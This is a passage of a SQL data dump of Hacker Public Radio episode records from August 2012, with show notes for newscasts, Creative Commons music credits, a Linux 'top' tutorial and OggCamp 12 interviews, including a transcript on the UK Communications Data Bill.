href=\"https://www.techdirt.com/articles/20120629/15451719541/you-dont-own-what-you-buy-part-15332-cisco-forces-questionable-new-firmware-routers.shtml\">https://www.techdirt.com/articles/20120629/15451719541/you-dont-own-what-you-buy-part-15332-cisco-forces-questionable-new-firmware-routers.shtml</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/07/13/WhyThereAreDatacentersInNYHongKongAndTokyo.aspx\">https://perspectives.mvdirona.com/2012/07/13/WhyThereAreDatacentersInNYHongKongAndTokyo.aspx</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/07/eff-challenges-national-security-letter-statute-landmark-lawsuit\">https://www.eff.org/deeplinks/2012/07/eff-challenges-national-security-letter-statute-landmark-lawsuit</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/07/medicaid-expansion-will-boost-our-states-economy/\">https://www.thestand.org/2012/07/medicaid-expansion-will-boost-our-states-economy/</a></li>\r\n<li><a href=\"https://news.techeye.net/internet/icelands-government-warns-of-wikileaks-vendetta\">https://news.techeye.net/internet/icelands-government-warns-of-wikileaks-vendetta</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/commentisfree/2012/jul/03/evidence-us-judicial-vendetta-wikileaks-activists-mounts\">https://www.guardian.co.uk/commentisfree/2012/jul/03/evidence-us-judicial-vendetta-wikileaks-activists-mounts</a></li>\r\n<li><a href=\"https://swartz.typepad.com/texplorer/2012/06/assange-ecuador-rape-and-sweden-1.html\">https://swartz.typepad.com/texplorer/2012/06/assange-ecuador-rape-and-sweden-1.html</a></li>\r\n\r\n</ul>\r\n\r\n<p>News from \"techdirt.com,\" \"perspectives.mvdirona.com,\"&nbsp; and \"maggiemcneill.wordpress.com\" used under&nbsp;arranged permission. News from \"torrentfreak.com\" and \"eff.org\" used under permission of the Creative Commons by-attribution&nbsp;license. News from \"democracynow.org\" and \"wlcentral.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News from \"jillstein.org\" is a press release. News Sources retain their respective copyrights.</p>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2267,1),
(1051,'2012-08-13','Intro to the music',1798,'5 CC songs from Jamendo.com plus tech chat including desktops, the distrowatch chart and android','<p>\r\nThese are the name of the songs with artist used in this podcast\r\n</p>\r\n\r\n<ul>\r\n<li>King of the world - Sean Fournier <a href=\"https://www.jamendo.com/en/list/a111083/king-of-the-world\">https://www.jamendo.com/en/list/a111083/king-of-the-world</a>\r\n</li>\r\n<li>You\'ve Got It - Jonathan Dimmel <a href=\"https://www.jamendo.com/en/artist/355753/jonathan-dimmel\">https://www.jamendo.com/en/artist/355753/jonathan-dimmel</a>\r\n</li>\r\n<li>All I\'ll Ever Need - Sean Fournier <a href=\"https://www.jamendo.com/en/artist/344842/sean-fournier\">https://www.jamendo.com/en/artist/344842/sean-fournier</a>\r\n</li>\r\n<li>Hyper Activity - Nixdorux <a href=\"https://www.jamendo.com/en/artist/420339/nixdorux\">https://www.jamendo.com/en/artist/420339/nixdorux</a>\r\n</li>\r\n<li>Ride My Tempo - Fhernando <a href=\"https://www.jamendo.com/en/track/944721/ride-my-tempo\">https://www.jamendo.com/en/track/944721/ride-my-tempo</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAll this music is published under creative commons licence. Here\'s the link of the website\r\n</p>\r\n<p>\r\n<!-- <a href=\"https://www.jamendo.com/en/search/discover#qs\">https://www.jamendo.com/en/search/discover#qs</a>=fq=n130&amp;q=*:*&amp;group=true&amp;group.field=album_id&amp;group.format=simple&amp;group.main=true&amp;sort=rate_listened_total desc -->\r\n<a href=\"https://www.jamendo.com/en/search/discover#qs\">https://www.jamendo.com/en/search/discover#qs</a>\r\n</p>\r\n<p>\r\nEmail: <a href=\"mailto:ccmusique@gmail.com\">ccmusique@gmail.com</a></p>\r\n\r\n',219,0,1,'CC-BY-SA','music, jamendo, CC, creative commons',0,2823,1),
(1052,'2012-08-14','LiTS 013: Top of Top',1430,'Part 1 of the top command','<p>The top command is a very complex and feature-full application. When executed from the command line the top command displays two sections of information: Summary information (contained in the yellow box in the screen-shot below) and running application field information (contained in the red box):</p>\r\n<p><img title=\"topsc1\" src=\"https://www.linuxintheshell.com/wp-content/uploads/2012/08/topsc1.png\" alt=\"Top running in Arch Linux\" width=\"709\" height=\"554\" /></p>\r\n<p>The focus of this entry will be on the Summary window of top:</p>\r\n<p><a href=\"https://www.linuxintheshell.com/wp-content/uploads/2012/08/topsc2.png\"><img title=\"topsc2\" src=\"https://www.linuxintheshell.com/wp-content/uploads/2012/08/topsc2.png\" alt=\"summary window of the top command\" width=\"709\" height=\"145\" /></a></p>\r\n<p>The screen shot above shows the summary section. The first line contains the following information in this order by default:</p>\r\n<ul>\r\n<li>The current time</li>\r\n<li>up time</li>\r\n<li>how many users are logged in</li>\r\n<li>load average</li>\r\n</ul>\r\n<p>\r\nFor the rest of the show notes and the video please go to <a href=\"https://www.linuxintheshell.com/2012/08/14/episode-013-top-of-top/\">https://www.linuxintheshell.com/2012/08/14/episode-013-top-of-top/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','top',0,2883,1),
(1053,'2012-08-15','Zoke with a question',278,'Thoughts on funding for Linux podcasts','Following a discussion on Linux Outlaws, Xoke asks if there a way to set up a charity to take donations to support Linux Podcasts.',79,0,1,'CC-BY-SA','Linux Outlaws,podcast,Linux,donations',0,1958,1),
(1054,'2012-08-16','Becky Hogge: Barefoot into Cyberspace',2278,'An interview with journalist and author Becky Hogge','<p>Hello world. Welcome to the Full Circle Podcast on Hacker Public Radio. This episode consists of an interview with journalist and author Becky Hogge.</p>\r\n\r\n<p>Her book, Barefoot into Cyberspace: Adventures in Search of Techno Utopia came out last year around the time of the extradition case surrounding Wikileaks founder Julian Assange. The book explores modern technology and society through activism and journalism, covering the hacker counter-culture, from Stallman and Lessig, the Chaos Club to WikiLeaks Julian Assange and Rop Gonggrijp.</p>\r\n\r\n<p>“I think most of what were fighting still today in the world is incompetence. Most of what we’re fighting is stupidity, and maybe a little bit of opportunism. There is also the ominous, control-seeking large corporate interests.”</p>\r\n\r\n<p>“We come in peace. We’re not called Chaos Computer Club because we cause chaos. If anything, a lot of our collective work has actually prevented chaos by pointing out that maybe we should lay some decent virtual foundations before we build any more virtual skyscrapers.”</p>\r\n\r\n<p>Barefoot into Cyberspace: Adventures in Search of Techno-Utopia by Becky Hogge, illustrated by Christopher Scally ISBN 978-1-906110-50-5 (print) | 978-1-906110-51-2 (Kindle)</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 37mins 58seconds</p>\r\n',160,54,1,'CC-BY-SA','Full Circle Podcast,interview',0,2288,1),
(1055,'2012-08-17','TGTM Newscast for 2012/8/15',1109,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/8/15\r\n</h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.eff.org/deeplinks/2012/08/senates-anti-leaks-bill-threatens-rights-press-and-public\">Senate Anti-Leaks Bill Threatens the Rights of the Press and the Public </a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/7/headlines#875\">Assange Lawyer: U.K. Has No Legal Grounds to Block WikiLeaks Founder’s Trip to Ecuador</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=75790\">Free Public Health: An Unquestionable Achievement of Cuba </a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120803/01382919920/hey-we-finally-have-privacy-civil-liberties-oversight-board-after-being-left-dormant-almost-five-years.shtml\">Hey, We Finally Have A Privacy And Civil Liberties Oversight Board... After Being Left Dormant For Almost Five Years</a></li>\r\n<li><a href=\"https://peoplesworld.org/pros-and-cons-of-chomsky-and-hedges/\">Pros and cons of Chomsky and Hedges</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120731/11414819897/europe-already-has-draft-standard-real-time-government-snooping-services-like-facebook-gmail.shtml\">Europe Already Has Draft Standard For Real-Time Government Snooping On Services Like Facebook And Gmail</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/victory-over-cyber-spying\">Victory Over Cyber Spying</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/3/headlines#836\">U.S. to Oppose U.N. Regulation of Internet</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Theres_a_Good_Chance_Your_Friends_Are_Phonies_120804\">There’s a Good Chance Your Friends Are Phonies</a></li>\r\n<li><a href=\"https://torrentfreak.com/isp-six-strikes-anti-piracy-scheme-120803/\">Has Your ISP Joined the US “Six Strikes” Anti-Piracy Scheme?</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.thestand.org/2012/08/holt-baker-calls-for-independent-labor-movement/\">A call for an ‘independent labor movement’</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=75825\">Independent Activism in Cuba </a></li>\r\n<li><a href=\"https://dailycloudt.com/voice/358/us-attorneys-refuse-to-assure-judge-that-they-are-not-already-detaining-citizens-under-ndaa\">US Attorneys Refuse to Assure Judge That They Are Not Already Detaining Citizens Under NDAA</a></li>\r\n<li><a href=\"https://therantnation.com/2012/08/07/my-virgin-experience-as-a-paedophile/\">My Virgin experience as a Paedophile!</a></li>\r\n<li><a href=\"https://www.huffingtonpost.com/american-anthropological-association/broadening-the-lens-on-hu_b_1728820.html\">Broadening the Lens on Human Trafficking </a></li></ul>\r\n<p>News from \"techdirt.com,\" \"havanatimes.org,\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/senates-anti-leaks-bill-threatens-rights-press-and-public\">https://www.eff.org/deeplinks/2012/08/senates-anti-leaks-bill-threatens-rights-press-and-public</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/7/headlines#875\">https://www.democracynow.org/2012/8/7/headlines#875</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=75790\">https://www.havanatimes.org/?p=75790</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120803/01382919920/hey-we-finally-have-privacy-civil-liberties-oversight-board-after-being-left-dormant-almost-five-years.shtml\">https://www.techdirt.com/articles/20120803/01382919920/hey-we-finally-have-privacy-civil-liberties-oversight-board-after-being-left-dormant-almost-five-years.shtml</a></li>\r\n<li><a href=\"https://peoplesworld.org/pros-and-cons-of-chomsky-and-hedges/\">https://peoplesworld.org/pros-and-cons-of-chomsky-and-hedges/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120731/11414819897/europe-already-has-draft-standard-real-time-government-snooping-services-like-facebook-gmail.shtml\">https://www.techdirt.com/articles/20120731/11414819897/europe-already-has-draft-standard-real-time-government-snooping-services-like-facebook-gmail.shtml</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/victory-over-cyber-spying\">https://www.eff.org/deeplinks/2012/08/victory-over-cyber-spying</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/3/headlines#836\">https://www.democracynow.org/2012/8/3/headlines#836</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Theres_a_Good_Chance_Your_Friends_Are_Phonies_120804\">https://www.allgov.com//ViewNews/Theres_a_Good_Chance_Your_Friends_Are_Phonies_120804</a></li>\r\n<li><a href=\"https://torrentfreak.com/isp-six-strikes-anti-piracy-scheme-120803/\">https://torrentfreak.com/isp-six-strikes-anti-piracy-scheme-120803/</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/08/holt-baker-calls-for-independent-labor-movement/\">https://www.thestand.org/2012/08/holt-baker-calls-for-independent-labor-movement/</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=75825\">https://www.havanatimes.org/?p=75825</a></li>\r\n<li><a href=\"https://dailycloudt.com/voice/358/us-attorneys-refuse-to-assure-judge-that-they-are-not-already-detaining-citizens-under-ndaa\">https://dailycloudt.com/voice/358/us-attorneys-refuse-to-assure-judge-that-they-are-not-already-detaining-citizens-under-ndaa</a></li>\r\n<li><a href=\"https://therantnation.com/2012/08/07/my-virgin-experience-as-a-paedophile/\">https://therantnation.com/2012/08/07/my-virgin-experience-as-a-paedophile/</a></li>\r\n<li><a href=\"https://www.huffingtonpost.com/american-anthropological-association/broadening-the-lens-on-hu_b_1728820.html\">https://www.huffingtonpost.com/american-anthropological-association/broadening-the-lens-on-hu_b_1728820.html</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2312,1),
(1056,'2012-08-20','OggCamp 12 Day 1 Part 1',2251,'Interviews from OggCamp 12 on day 1','<p>This is the first of an all week extravaganza covering the party that was <a title=\"A Free Culture Unconference\" href=\"https://oggcamp.org/\" target=\"_blank\">OggCamp 12</a>. It was held on August 18 / 19 2012 in the Art &amp; Design Academy Liverpool John Moores University Liverpool, L3 5RD</p>\r\n<p>The levels are all over the place and I don’t have the time to edit it further as I’ve been traveling all day. So in the spirit of HPR, I’ll put content over audio quality and release it as is.</p>\r\n<ul>\r\n	<li><a href=\"https://liv.lug.org.uk/wiki/\" target=\"_blank\">https://liv.lug.org.uk/wiki/</a></li>\r\n	<li><a href=\"https://libreplanet.org/wiki/Manchester\" target=\"_blank\">https://libreplanet.org/wiki/Manchester</a></li>\r\n	<li><a href=\"https://www.bytemark.co.uk/\" target=\"_blank\">https://www.bytemark.co.uk/</a></li>\r\n	<li><a href=\"https://www.openrightsgroup.org/\" target=\"_blank\">https://www.openrightsgroup.org/</a></li>\r\n	<li><a href=\"https://sixgun.org/dan/\" target=\"_blank\">https://sixgun.org/dan/</a></li>\r\n	<li><a href=\"https://scraperwiki.com/\" target=\"_blank\">https://scraperwiki.com/</a></li>\r\n	<li><a href=\"https://twit.tv/show/floss-weekly/185\" target=\"_blank\">https://twit.tv/show/floss-weekly/185</a></li>\r\n	<li><a href=\"https://hgd.theunixzoo.co.uk/hgd-www/\" target=\"_blank\">https://hgd.theunixzoo.co.uk/hgd-www/</a></li>\r\n	<li><a href=\"https://www.tdtrs.co.uk/\" target=\"_blank\">https://www.tdtrs.co.uk/</a></li>\r\n	<li><a href=\"https://www.visnos.com/\" target=\"_blank\">https://www.visnos.com/</a></li>\r\n	<li><a href=\"https://sixgun.org/fabsh/\" target=\"_blank\">https://sixgun.org/fabsh/</a></li>\r\n	<li><a href=\"https://crunchbang.org/\" target=\"_blank\">https://crunchbang.org/</a></li>\r\n	<li><a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a></li>\r\n	<li><a href=\"https://barcampblackpool.com/\" target=\"_blank\">https://barcampblackpool.com/</a></li>\r\n	<li><a href=\"https://fsfe.org/index.en.html\" target=\"_blank\">https://fsfe.org/index.en.html</a></li>\r\n	<li><a href=\"https://kxstudio.sourceforge.net/\" target=\"_blank\">https://kxstudio.sourceforge.net/</a></li>\r\n</ul>\r\n<p>\r\nThanks to everyone who I interviewed.</p>',30,62,1,'CC-BY-SA','oggcamp,oggcamp12',0,2474,1),
(1057,'2012-08-21','OggCamp 2012: Simon Phipps: mini-intro to the CDB',576,'A brief look at the UK Communications Data Bill','<p>Be Very Afraid! In this mini-interview Simon gives a quick introduction to the Communications Data Bill, recently introduced to the UK Parliament, which proposes to establish a nation-wide database of all citizens\' text and email communications, and explains the problems with the proposals, notably the lack of judicial oversight and the massive potential for mission creep.</p>\r\n\r\n<p><em>Transcript:</em></p>\r\n\r\n<p><b>doubi</b>: We\'re here at OggCamp 2012 at John Moores University in Liverpool and I\'m here with Simon Phipps who\'s going to be giving a talk tomorrow on behalf of the Open Rights Group. Simon, what will your talk be about?</p>\r\n\r\n<p><b>Simon Phipps</b>: I\'m going to be talking about the Communications Data Bill, which is a piece of legislation that\'s just about to go through Parliament, and has very worrying consequences for people\'s civil liberties on the internet.</p>\r\n\r\n<p><b>doubi</b>: Right, \"Communications Data\" maybe doesn\'t sound like it\'s to do with people\'s civil liberties, so what\'s it all about?</p>\r\n\r\n<p><b>Simon</b>: Well, this is a Bill that solves a problem for the security services in the UK, in particular the secret service that we have over here, and the police forces. They\'re very worried that they can\'t see what\'s going on inside your email, and inside your text messaging, and inside your other online communications.</p>\r\n\r\n<p>They have for a long time been trying to get a succession of governments to put into law rules that allow them to snoop on all of your communications. They tried to do it under [the previous Labour Party government], and it didn\'t quite work out because there was an outcry in civil society about it, and it\'s now happening under the Tories and Liberal Democrats. So this is not a partisan issue at all. This is an activity that is arising out of the Cheltenham data centre that is used by the intelligence services and arising out of the police forces, who are all very worried that they can\'t read <em>your</em> email.</p>\r\n\r\n<p><b>doubi</b>: Now, I\'ve heard a little bit about this and I\'ve heard it pitched in terms of, \"This is the security services just trying to keep up with changing technology.\" What do you say to that, because people obviously people are using different forms of communication now; is there anything legitimate in the security services needing to \"keep up\" with that?</p>\r\n\r\n<p><b>Simon</b>: I think it\'s legitimate for them to need to \"keep up\" but that is not a good excuse for them to do what they\'re doing here, because what they\'re doing is creating a right to ask every internet service provider to keep, for twelve months, <em>all</em> of your traffic on the internet, so they can analyse it off-line. That gives them plenty of time to crack <a href=\"https://en.wikipedia.org/wiki/Secure_Shell\" target=\"_blank\" >SSH</a>, to crack <a href=\"https://en.wikipedia.org/wiki/Secure_Sockets_Layer\" target=\"_blank\">SSL</a> keys, to crack any encryption that\'s going on.</p>\r\n\r\n<p>The big problem is that this right is being created <em>fresh</em>, it\'s being created without any right for you to know that it\'s happening, it\'s being created without any judicial oversight, so that the police can just decide to ask for your material to be created. It\'s also being created in such a way that should the police choose to they could create a central database of all this information that could then be casually searched.</p>\r\n\r\n<p>By \"casually searched\", I mean it could be searched, for example, by organisations enforcing family law disputes, organisations enforcing defaults on mortgage payments, organisations who are looking into whether you have renewed the MOT [annual road-worthiness test] on your car. All of those would be the sort of excuses to go dipping in on a fishing expedition on your personal data.</p>\r\n\r\n<p>So what\'s being proposed is not just keeping up to date with technology, it\'s going way, way, <em>way</em> beyond any scope for keeping up, and it\'s creating for the first time a database of citizen communications that can then in the future be fished-into arbitrarily, without notification, without recourse and without judicial oversight.</p>\r\n\r\n<p><b>doubi</b>: It might sound to people like some of the examples you gave about the misuse of such a database are hypothetical or facetious, but already if people were to go to the Open Rights Group website, <a href=\"https://www.openrightsgroup.org\" target=\"_blank\">openrightsgroup.org</a> there are on the wiki there are documented examples of how local councils, both individuals and in an official capacity, are already abusing some of these databases that are intended for much more serious purposes and are ostensibly there to save us from real threats [<strong>NB</strong>: This is inaccurate; please see footnote].</p>\r\n\r\n<p><b>Simon</b>: When these things get started, they\'re <em>always</em> packed in guarantees that nobody will do anything bad with your data. The CDB is no different: all of the padding around it says, \"Trust us to create this database of communications, because look at all these protections we\'re putting around it to prevent abuse.\" Now what we <em>know</em> is that once you\'ve created a resource, mission creep in the future will change the way that it\'s used.</p>\r\n\r\n<p>Take for example the congestion charge cameras in London. All around London now there are number-plate [license-plate] recognition cameras that were put there <em>only</em> to collect congestion charges. But as time has gone by, people have found other, extremely legitimate uses for them: to prevent terrorism, to enforce laws. And now they are part of a network that the police can routinely use to identify the location of any vehicle in central London. That wasn\'t what the cameras were put there for, and when they were set up we were told that wasn\'t going to happen.</p>\r\n\r\n<p>I look at the CDB and I believe it\'s exactly the same thing. The thing that\'s wrong with the Communications Data Bill is not the uses to which the authorities will put the data, it is creating the repository of data in the first place.</p>\r\n\r\n<p><b>doubi</b>: Absolutely. And I think together with the lack of judicial oversight which you already mentioned, those are the really scary aspects about this. What can people do at this stage?</p>\r\n\r\n<p><b>Simon</b>: Well, at the lowest level what people can do it join the <a href=\"https://www.openrightsgroup.org\" target=\"_blank\">Open Rights Group</a>. The Open Rights Group is an organisation which is funded largely from the membership fees of its members. You can visit <a href=\"https://www.openrightsgroup.org\" target=\"_blank\">openrightsgroup.org</a> and sign up, set up a standing order to pay is little as £5 a month, that will help to pay for professional researchers to understand all these highly complex laws, and then go and engage on your  behalf, to make sure that the bad things don\'t happen.</p>\r\n\r\n<p>If you\'re more motivated than that, than just joining, you could get involved with a local chapter of the Open Rights Group. There are local chapters all over the UK, where you can meet with other like-minded people and take local action: ttalking with MPs, talking with local radio stations, talking with local newspapers, and making sure that the digital rights agenda of the individal citizen has as loud a voice as the media lobby is able to bring to corporate concerns.</p>\r\n\r\n<p><b>doubi</b>: Sounds great. Simon, thank you very much; do you want to give your vital statistics, where to find you on the web?</p>\r\n\r\n<p><b>Simon</b>: I do all sorts of things of the web. They are all locatable from my website <a href=\"https://webmink.com\" target=\"_blank\">webmink.com</a>.</p>\r\n\r\n<p><b>doubi</b>: Thank you very much, looking forward to your presentation tomorrow, and enjoy OggCamp!</p>\r\n\r\n<p><b>Simon</b>: Thank you very much.</p>\r\n\r\n<br /><br />\r\n<p><strong>NB</strong>: I was quite wrong about the ORG wiki. There isn\'t a page about concerted abuses of centralised data repositories as such; what there is the <a href=\"https://wiki.openrightsgroup.org/wiki/UK_Privacy_Debacles\" target=\"_blank\">UK Privacy Debacles page</a>, which lists (worryingly numerous) examples of companies and public bodies <em>accidentally</em> losing or releasing data. There\'s only one example of malicious abuse by an individual.</p>\r\n\r\n<p>However, these examples of organisational incompetence to deal with data in themselves give an independent reason why the data store proposed by the CDB is a bad idea. Secondly, the examples of misuse of investigative resources and powers has been well documented elsewhere (<a href=\"https://news.bbc.co.uk/1/hi/uk/7369543.stm\" target=\"_blank\">[1]</a>, <a href=\"https://www.theregister.co.uk/2008/06/23/councils_ripa_warning/\" target=\"_blank\">[2]</a>).</p>\r\n',220,62,1,'CC-BY-SA','oggcamp,oggcamp12',0,2191,1),
(1058,'2012-08-22','OggCamp12 Hardware Hackers',3356,'More interviews from OggCamp 12 on day 1','<p>\r\nThis is the second show from OggCamp12 where I walk around the hardware hacking area. A big thank you to all the people I interviewed and who took the time to explain their project to me.\r\n</p>\r\n<table style=\"width:194px;\"><tr><td align=\"center\" style=\"height:194px;background:url(https://picasaweb.google.com/s/c/transparent_album_background.gif) no-repeat left\"><a href=\"https://picasaweb.google.com/108536234968997542346/OggCamp12?authuser=0&feat=embedwebsite\"><img src=\"https://lh3.googleusercontent.com/-uMpFMK8SUjc/UDUqYYyRWdE/AAAAAAAABDA/--19NARW4JU/s160-c/OggCamp12.jpg\" width=\"160\" height=\"160\" style=\"margin:1px 0 0 4px;\"/></a></td></tr><tr><td style=\"text-align:center;font-family:arial,sans-serif;font-size:11px\"><a href=\"https://picasaweb.google.com/108536234968997542346/OggCamp12?authuser=0&feat=embedwebsite\" style=\"color:#4D4D4D;font-weight:bold;text-decoration:none;\">OggCamp12</a></td></tr></table>\r\n<p>\r\n<embed type=\"application/x-shockwave-flash\" src=\"https://picasaweb.google.com/s/c/bin/slideshow.swf\" width=\"288\" height=\"192\" flashvars=\"host=picasaweb.google.com&captions=1&hl=en_US&feat=flashalbum&RGB=0x000000&feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2F108536234968997542346%2Falbumid%2F5779572295258429905%3Falt%3Drss%26kind%3Dphoto%26hl%3Den_US\" pluginspage=\"https://www.macromedia.com/go/getflashplayer\"></embed></p>\r\n',30,62,1,'CC-BY-SA','oggcamp,oggcamp12',0,2393,1),
(1059,'2012-08-23','OggCamp12 Day2 The morning after the night before',3378,'Yet more interviews from OggCamp 12 on day 2','<p>Skipping our usual Syndicated Thursday, we\'re continuing our week long fix of OggCamp12. </p>\r\n<p>Today it\'s day two, or the morning after the night before where we interview:</p>\r\n<ul>\r\n<li>Popey <a href=\"https://podcast.ubuntu-uk.org/\">https://podcast.ubuntu-uk.org/</a></li>\r\n<li>Lorna <a href=\"https://lornajane.net\">https://lornajane.net</a> about the PHP North West event on the 5th, 6th &amp; 7th October in Manchester, UK see <a href=\"https://phpnw.org.uk/\">https://phpnw.org.uk/</a> for more information</li>\r\n<li>Simon Phipps for a chat and a heads up about the Communications Data Bill <a href=\"https://en.wikipedia.org/wiki/Simon_Phipps_(programmer)\">https://en.wikipedia.org/wiki/Simon_Phipps_(programmer)</a></li>\r\n<li>Aq <a href=\"https://www.kryogenix.org/days/\">https://www.kryogenix.org/days/</a></li>\r\n<li>Ade <a href=\"https://about.me/adrianbradshaw\">https://about.me/adrianbradshaw</a></li>\r\n<li>Jon \"The Nice Guy\" Spriggs <a href=\"https://jon.sprig.gs/\">https://jon.sprig.gs/</a></li>\r\n<li>Adam <a href=\"https://www.transitiv.co.uk/\">https://www.transitiv.co.uk/</a></li>\r\n<li>Chris <a href=\"https://twitter.com/chr15p\">https://twitter.com/chr15p</a></li>\r\n<li>Mark <a href=\"https://podcast.ubuntu-uk.org/\">https://podcast.ubuntu-uk.org/</a></li>\r\n<li>Trystan Lea from <a href=\"https://openenergymonitor.org/emon/\">https://openenergymonitor.org/emon/</a></li>\r\n<li>Special Guests</li>\r\n</ul>\r\n',30,62,1,'CC-BY-SA','oggcamp,oggcamp12',0,2272,1),
(1060,'2012-08-24','OggCamp12 Farewell',3108,'The final batch of interviews from OggCamp 2012','<p>\r\nI was leaving my hotel room after the end of OggCamp, thinking to myself I had enough interviews recorded and something made me go back and get my recorders. I\'m glad I did as I bagged some fantastic interviews. \r\n</p>\r\n<p>\r\nThe first one was with Rebecca Newborough web mistress of the Lincoln LUG <a href=\"https://lincoln.lug.org.uk/\">https://lincoln.lug.org.uk/</a> on how to start a LUG. The first step is to visit the UK Linux User Groups site at <a href=\"https://lug.org.uk/\">https://lug.org.uk/</a>\r\n</p>\r\n<p>\r\nWe all went to the Leaf venue for food and conversation <a href=\"https://thisisleaf.co.uk/#/on-bold-street/\">https://thisisleaf.co.uk/#/on-bold-street/</a>, while there I interviewed a few gentlemen starting with Kris Findlay about changes at his LUG and his work at  Krisilis IT Solutions <a href=\"https://www.krisilis.com\">www.krisilis.com</a><br />\r\nRaspberry Pi GPIO Demo <a href=\"https://www.slideshare.net/azmodie/introduction-to-raspberry-pi-and-gpio\">https://www.slideshare.net/azmodie/introduction-to-raspberry-pi-and-gpio</a><br />\r\n<iframe src=\"https://www.slideshare.net/slideshow/embed_code/14075092\" width=\"427\" height=\"356\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"https://www.slideshare.net/azmodie/introduction-to-raspberry-pi-and-gpio\" title=\"Introduction to Raspberry Pi and GPIO\" target=\"_blank\">Introduction to Raspberry Pi and GPIO</a> </strong> from <strong><a href=\"https://www.slideshare.net/azmodie\" target=\"_blank\">Kris Findlay</a></strong> </div>\r\n<br />\r\nVideo on youtube (should also play after slide 14 on slideshare) \r\n<a href=\"https://www.youtube.com/watch?v=ZkXMnCBs2ms\">https://www.youtube.com/watch?v=ZkXMnCBs2ms</a><br />\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/ZkXMnCBs2ms?feature=player_detailpage\" frameborder=\"0\" allowfullscreen></iframe>\r\nThe Software Society <a href=\"https://www.thesoftwaresociety.org.uk\">https://www.thesoftwaresociety.org.uk</a>\r\n</p>\r\n<p>\r\nThen we had a chat with Ian Closs over from Ireland. We discussed the local FLOSS scene, Mark Shuttleworth <a href=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\">https://en.wikipedia.org/wiki/Mark_Shuttleworth</a> who will be attending SkyCon <a href=\"https://skycon.skynet.ie/2012/\"> https://skycon.skynet.ie/2012/</a> and Archeology.\r\n</p>\r\n<p>\r\nTo round it all off a long round up with Fabian A. Scherschel <a href=\"https://sixgun.org/fabsh/\">https://sixgun.org/fabsh/</a> who true to his word gave me an interview for HPR. Of course he is still on record to submit a show to HPR himself.\r\n</p>\r\n<p>\r\nYou might think that\'s the end of OggCamp but I still have shows from last year to post :)\r\n</p>\r\n',30,62,1,'CC-BY-SA','oggcamp,oggcamp12',0,2492,1),
